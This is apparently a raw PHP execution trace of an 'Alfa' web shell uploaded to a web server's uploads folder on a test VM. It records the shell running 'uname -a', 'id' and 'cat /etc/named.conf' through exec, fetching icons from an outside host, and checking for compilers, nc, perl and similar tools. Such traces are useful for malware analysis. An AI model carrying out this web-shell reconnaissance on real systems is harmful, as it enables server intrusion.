6	318	0	0.051585	3528192	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1405	2	NULL	'\n'
6	318	1	0.051599	3528264
6	318	R			FALSE
6	319	0	0.051612	3528192	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1405	2	NULL	3
6	319	1	0.051626	3528424
6	319	R			''
6	320	0	0.051639	3528192	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1406	2	NULL	'\n'
6	320	1	0.051653	3528264
6	320	R			FALSE
6	321	0	0.051666	3528192	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1406	2	NULL	3
6	321	1	0.051680	3528424
6	321	R			''
6	322	0	0.051693	3528192	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1407	2	NULL	'\n'
6	322	1	0.051707	3528264
6	322	R			FALSE
6	323	0	0.051720	3528192	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1407	2	NULL	3
6	323	1	0.051734	3528424
6	323	R			''
6	324	0	0.051747	3528192	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1408	2	NULL	'\n'
6	324	1	0.051761	3528264
6	324	R			FALSE
6	325	0	0.051774	3528192	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1408	2	NULL	3
6	325	1	0.051788	3528424
6	325	R			''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j = 1
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1423	$j++
6	326	0	0.051922	3527872	__showicon	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1429	1	'loader'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2002	$s['btn'] = 'http://solevisible.com/images/btn.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2003	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2004	$s['loader'] = 'http://solevisible.com/images/loader.png'
6	326	1	0.051982	3527872
6	326	R			'http://solevisible.com/images/loader.png'
6	327	0	0.052001	3548352	_AlfaSecretKey	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1758	0
7	328	0	0.052020	3548352	mt_rand	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	584	0
7	328	1	0.052067	3548352
7	328	R			1437723814
7	329	0	0.052084	3548352	uniqid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	584	2	1437723814	TRUE
7	329	1	0.052101	3548720
7	329	R			'143772381463e9753dd27466.94005371'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	584	_SESSION['AlfaSecretKey'] = '143772381463e9753dd27466.94005371'
6	327	1	0.052134	3548608
6	327	R			'143772381463e9753dd27466.94005371'
6	330	0	0.052743	3528128	__showicon	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1850	1	'loader'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2002	$s['btn'] = 'http://solevisible.com/images/btn.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2003	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2004	$s['loader'] = 'http://solevisible.com/images/loader.png'
6	330	1	0.052812	3528128
6	330	R			'http://solevisible.com/images/loader.png'
6	331	0	0.052830	3528128	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1851	4	'uname -a'	FALSE	FALSE	???
7	332	0	0.052848	3528128	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'uname -a'	FALSE
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
8	333	0	0.052878	3528128	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
8	333	1	0.052894	3528168
8	333	R			TRUE
8	334	0	0.052907	3528152	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'uname -a'	''
8	334	1	0.054311	3528912
8	334	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
8	335	0	0.054344	3528688	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
8	335	1	0.054367	3528752
8	335	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7	332	1	0.054407	3528288
7	332	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	331	1	0.054445	3528288
6	331	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1851	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	336	0	0.054488	3528288	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1852	1	'php_uname'
6	336	1	0.054504	3528328
6	336	R			TRUE
6	337	0	0.054518	3528288	php_uname	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1852	0
6	337	1	0.054533	3528400
6	337	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	338	0	0.054552	3528400	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1852	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
6	338	1	0.054571	3528496
6	338	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1852	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s = 1
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1862	$s++
6	339	0	0.054719	3529424	phpversion	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1880	0
6	339	1	0.054734	3529488
6	339	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
6	340	0	0.054752	3529936	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1888	1	'Y-m-d H:i:s'
6	340	1	0.054796	3531416
6	340	R			'2023-02-13 02:54:45'
6	341	0	0.054816	3529592	_alfa_file	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1894	2	'/etc/named.conf'	FALSE
7	342	0	0.054833	3529592	file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3116	1	'/etc/named.conf'
7	342	1	0.054861	3529744
7	342	R			FALSE
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3116	$array = FALSE
7	343	0	0.054888	3529704	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3118	4	'id'	FALSE	FALSE	???
8	344	0	0.054904	3529704	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'id'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	345	0	0.054932	3529704	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	345	1	0.054947	3529744
9	345	R			TRUE
9	346	0	0.054960	3529728	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'id'	''
9	346	1	0.056569	3530328
9	346	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
9	347	0	0.056596	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
9	347	1	0.056615	3530248
9	347	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8	344	1	0.056648	3529784
8	344	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	343	1	0.056685	3529784
7	343	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	348	0	0.056702	3529704	addslashes	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3119	1	'/etc/named.conf'
7	348	1	0.056718	3529736
7	348	R			'/etc/named.conf'
7	349	0	0.056732	3529752	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3119	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
8	350	0	0.056750	3529752	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'cat "/etc/named.conf"'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	351	0	0.056779	3529752	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	351	1	0.056801	3529792
9	351	R			TRUE
9	352	0	0.056815	3529776	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'cat "/etc/named.conf"'	''
9	352	1	0.057927	3529896
9	352	R			''
9	353	0	0.057949	3529832	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	353	1	0.057967	3529896
9	353	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	350	1	0.057995	3529752
8	350	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	349	1	0.058022	3529752
7	349	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3119	$data = ''
6	341	1	0.058047	3529704
6	341	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1894	$d0mains = FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1895	GLOBALS['need_to_update_header'] = 'true'
6	354	0	0.058091	3529704	alfaSize	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1910	1	232015802368
7	355	0	0.058108	3529704	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3020	2	'%1.2f'	216.08155441284
7	355	1	0.058125	3530088
7	355	R			'216.08'
6	354	1	0.058139	3529744
6	354	R			'216.08 GB'
6	356	0	0.058154	3529928	alfaSize	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1910	1	204693016576
7	357	0	0.058169	3529928	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3020	2	'%1.2f'	190.63522720337
7	357	1	0.058184	3530312
7	357	R			'190.64'
6	356	1	0.058198	3529968
6	356	R			'190.64 GB'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1913	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
6	358	0	0.058234	3529704	ini_get	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1914	1	'safe_mode'
6	358	1	0.058249	3529736
6	358	R			FALSE
6	359	0	0.058263	3529704	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1915	4	'id'	FALSE	FALSE	???
7	360	0	0.058279	3529704	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'id'	FALSE
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
8	361	0	0.058307	3529704	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
8	361	1	0.058321	3529744
8	361	R			TRUE
8	362	0	0.058334	3529728	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'id'	''
8	362	1	0.059661	3530328
8	362	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8	363	0	0.059687	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
8	363	1	0.059706	3530248
8	363	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	360	1	0.059744	3529784
7	360	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	359	1	0.059775	3529784
6	359	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1917	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1918	$x = 0
6	364	0	0.059831	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'gcc'
7	365	0	0.059847	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which gcc'	FALSE	FALSE	???
8	366	0	0.059863	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which gcc'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	367	0	0.059891	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	367	1	0.059906	3529784
9	367	R			TRUE
9	368	0	0.059919	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which gcc'	''
9	368	1	0.061351	3530288
9	368	R			'/usr/bin/gcc'
9	369	0	0.061376	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/gcc']
9	369	1	0.061395	3530248
9	369	R			'/usr/bin/gcc'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/gcc'
8	366	1	0.061424	3529784
8	366	R			'/usr/bin/gcc'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/gcc'
7	365	1	0.061452	3529784
7	365	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/gcc'
6	364	1	0.061480	3529704
6	364	R			12
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	370	0	0.061506	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'lcc'
7	371	0	0.061522	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which lcc'	FALSE	FALSE	???
8	372	0	0.061538	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which lcc'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	373	0	0.061566	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	373	1	0.061581	3529784
9	373	R			TRUE
9	374	0	0.061594	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which lcc'	''
9	374	1	0.062945	3529888
9	374	R			''
9	375	0	0.062967	3529824	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[]
9	375	1	0.062985	3529888
9	375	R			''
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = ''
8	372	1	0.063013	3529744
8	372	R			''
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = ''
7	371	1	0.063040	3529744
7	371	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = ''
6	370	1	0.063066	3529704
6	370	R			FALSE
6	376	0	0.063079	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'cc'
7	377	0	0.063094	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which cc'	FALSE	FALSE	???
8	378	0	0.063116	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which cc'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	379	0	0.063145	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	379	1	0.063160	3529784
9	379	R			TRUE
9	380	0	0.063173	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which cc'	''
9	380	1	0.064450	3530288
9	380	R			'/usr/bin/cc'
9	381	0	0.064475	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/cc']
9	381	1	0.064493	3530248
9	381	R			'/usr/bin/cc'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/cc'
8	378	1	0.064522	3529784
8	378	R			'/usr/bin/cc'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/cc'
7	377	1	0.064550	3529784
7	377	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/cc'
6	376	1	0.064578	3529704
6	376	R			11
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	382	0	0.064604	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'ld'
7	383	0	0.064620	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which ld'	FALSE	FALSE	???
8	384	0	0.064637	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which ld'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	385	0	0.064665	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	385	1	0.064680	3529784
9	385	R			TRUE
9	386	0	0.064693	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which ld'	''
9	386	1	0.066009	3530288
9	386	R			'/usr/bin/ld'
9	387	0	0.066033	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/ld']
9	387	1	0.066052	3530248
9	387	R			'/usr/bin/ld'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/ld'
8	384	1	0.066081	3529784
8	384	R			'/usr/bin/ld'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/ld'
7	383	1	0.066109	3529784
7	383	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/ld'
6	382	1	0.066136	3529704
6	382	R			11
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	388	0	0.066163	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'make'
7	389	0	0.066178	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which make'	FALSE	FALSE	???
8	390	0	0.066194	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which make'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	391	0	0.066223	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	391	1	0.066238	3529784
9	391	R			TRUE
9	392	0	0.066251	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which make'	''
9	392	1	0.067423	3530288
9	392	R			'/usr/bin/make'
9	393	0	0.067447	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/make']
9	393	1	0.067466	3530248
9	393	R			'/usr/bin/make'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/make'
8	390	1	0.067501	3529784
8	390	R			'/usr/bin/make'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/make'
7	389	1	0.067529	3529784
7	389	R			'/usr/bin/make'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/make'
6	388	1	0.067558	3529704
6	388	R			13
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	394	0	0.067584	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'php'
7	395	0	0.067600	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which php'	FALSE	FALSE	???
8	396	0	0.067617	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which php'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	397	0	0.067646	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	397	1	0.067660	3529784
9	397	R			TRUE
9	398	0	0.067673	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which php'	''
9	398	1	0.069084	3530288
9	398	R			'/usr/bin/php'
9	399	0	0.069108	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/php']
9	399	1	0.069127	3530248
9	399	R			'/usr/bin/php'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/php'
8	396	1	0.069157	3529784
8	396	R			'/usr/bin/php'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/php'
7	395	1	0.069186	3529784
7	395	R			'/usr/bin/php'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/php'
6	394	1	0.069213	3529704
6	394	R			12
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
6	400	0	0.069240	3529704	alfaWhich	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	1	'perl'
7	401	0	0.069256	3529744	alfaEx	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	4	'which perl'	FALSE	FALSE	???
8	402	0	0.069272	3529744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	2	'which perl'	FALSE
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	706	$out = ''
9	403	0	0.069301	3529744	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	709	1	'exec'
9	403	1	0.069316	3529784
9	403	R			TRUE
9	404	0	0.069329	3529768	exec	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	710	2	'which perl'	''
9	404	1	0.070677	3530288
9	404	R			'/usr/bin/perl'
9	405	0	0.070701	3530184	join	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	2	'\n'	[0 => '/usr/bin/perl']
9	405	1	0.070720	3530248
9	405	R			'/usr/bin/perl'
8		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	711	$out = '/usr/bin/perl'
8	402	1	0.070750	3529784
8	402	R			'/usr/bin/perl'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	692	$data = '/usr/bin/perl'
7	401	1	0.070777	3529784
7	401	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3013	$path = '/usr/bin/perl'
6	400	1	0.070804	3529704
6	400	R			13
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1919	$x++
